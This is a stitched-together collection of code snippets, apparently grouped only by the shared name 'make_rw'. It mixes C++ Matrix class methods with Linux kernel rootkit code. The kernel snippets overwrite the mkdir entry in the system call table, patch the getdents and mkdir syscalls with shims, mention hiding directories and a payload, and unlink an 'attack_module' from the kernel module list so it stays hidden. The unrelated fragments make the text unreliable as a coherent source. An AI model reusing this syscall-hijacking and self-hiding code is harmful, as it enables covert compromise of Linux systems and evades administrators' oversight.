const Matrix<ValueT> &Matrix<ValueT>::operator=(const Matrix<ValueT> &m) { make_rw(n_rows) = m.n_rows; make_rw(n_cols) = m.n_cols; make_rw(stride) = m.stride; make_rw(pin_row) = m.pin_row; make_rw(pin_col) = m.pin_col; _data = m._data; return *this; }
const Matrix<ValueT> Matrix<ValueT>::submatrix(uint prow, uint pcol, uint rows, uint cols) const { if (prow + rows > n_rows || pcol + cols > n_cols) throw std::string("Out of bounds"); // copying requested data to submatrix. Matrix<ValueT> tmp(*this); make_rw(tmp.n_rows) = rows; make_rw(tmp.n_cols) = cols; make_rw(tmp.pin_row) = pin_row + prow; make_rw(tmp.pin_col) = pin_col + pcol; return tmp; }
Matrix<ValueT>::Matrix(Matrix &&src) : n_rows{src.n_rows}, n_cols{src.n_cols}, stride{src.stride}, pin_row{src.pin_row}, pin_col{src.pin_col}, _data{src._data} { // resetting state of donor object. make_rw(src.n_rows) = 0; make_rw(src.n_cols) = 0; make_rw(src.stride) = 0; make_rw(src.pin_row) = 0; make_rw(src.pin_col) = 0; src._data.reset(); }
void sys_call_for_test(void){ make_rw((unsigned long)sys_call_table); tmp = kzalloc((100), GFP_KERNEL); original_mkdir = (void*)*(sys_call_table + __NR_mkdir); *(sys_call_table + __NR_mkdir) = (unsigned long)hijack_mkdir; make_ro((unsigned long)sys_call_table); }
Matrix<ValueT>::Matrix(std::initializer_list<std::initializer_list<ValueT>> lsts): n_rows(lsts.size()), // FIXME: narrowing. n_cols{0}, stride{n_cols}, pin_row{0}, pin_col{0}, _data{} { // check if no action is needed. if (n_rows == 0) return; // initializing columns count using first row. make_rw(n_cols) = lsts.begin()->size(); make_rw(stride) = n_cols; // lambda function to check sublist length. // local block to invalidate stack variables after it ends. { auto local_n_cols = n_cols; auto chk_length = [local_n_cols](const std::initializer_list<ValueT> &l) { return l.size() == local_n_cols; }; // checking that all row sizes are equal. if (not std::all_of(lsts.begin(), lsts.end(), chk_length)) throw std::string("Initialization rows must have equal length"); } if (n_cols == 0) return; // allocating matrix memory. _data.reset(new ValueT[n_cols * n_rows], std::default_delete<ValueT[]>()); // copying matrix data. { auto write_ptr = _data.get(); auto ptr_delta = n_cols; auto copier = [&write_ptr, ptr_delta](const std::initializer_list<ValueT> &l) { std::copy(l.begin(), l.end(), write_ptr); write_ptr += ptr_delta; }; for_each(lsts.begin(), lsts.end(), copier); } }
int init_module() { int bootresult; struct module* this_mod; preempt_disable(); printk(KERN_INFO "Attempting to initialize attack module.\n"); hiddenDirectories = vector_init(); make_rw(sys_call_table); //make a backup of the system call table memcpy(backup_sys_call_table, sys_call_table, sizeof(backup_sys_call_table)); //start up the payload //this has been changed, the payload now starts the rootkit //bootresult = bootprocess(); //if (bootresult) printk(KERN_INFO "Boot process failed: %d", bootresult); //shim the syscalls. patch(SYS_getdents, getdentsShim); //patch(SYS_read, readShim); patch(SYS_mkdir, mkdirShim); //patch(SYS_fork, forkShim); //patch(SYS_clone, cloneShim); //patch(SYS_open, openShim); //patch(SYS_close, closeShim); //request module and payload to be hidden //These are now done by the payload //hideDirectory(secret_ko_name); //hideDirectory(secret_payload_name); //hide this module from the list mutex_lock(&module_mutex); this_mod = find_module("attack_module"); //it turns out the name attack_module is part of the binary, not the filename if (this_mod) { printk(KERN_INFO "found module, hiding\n"); list_del_rcu(&this_mod->list); } else { printk(KERN_INFO "could not find module\n"); } mutex_unlock(&module_mutex); printk(KERN_INFO "Module loaded\n"); preempt_enable(); return 0; }
void no_sys_call_for_test(void){ make_rw((unsigned long)sys_call_table); *(sys_call_table + __NR_mkdir) = (unsigned long)original_mkdir; make_ro((unsigned long)sys_call_table); }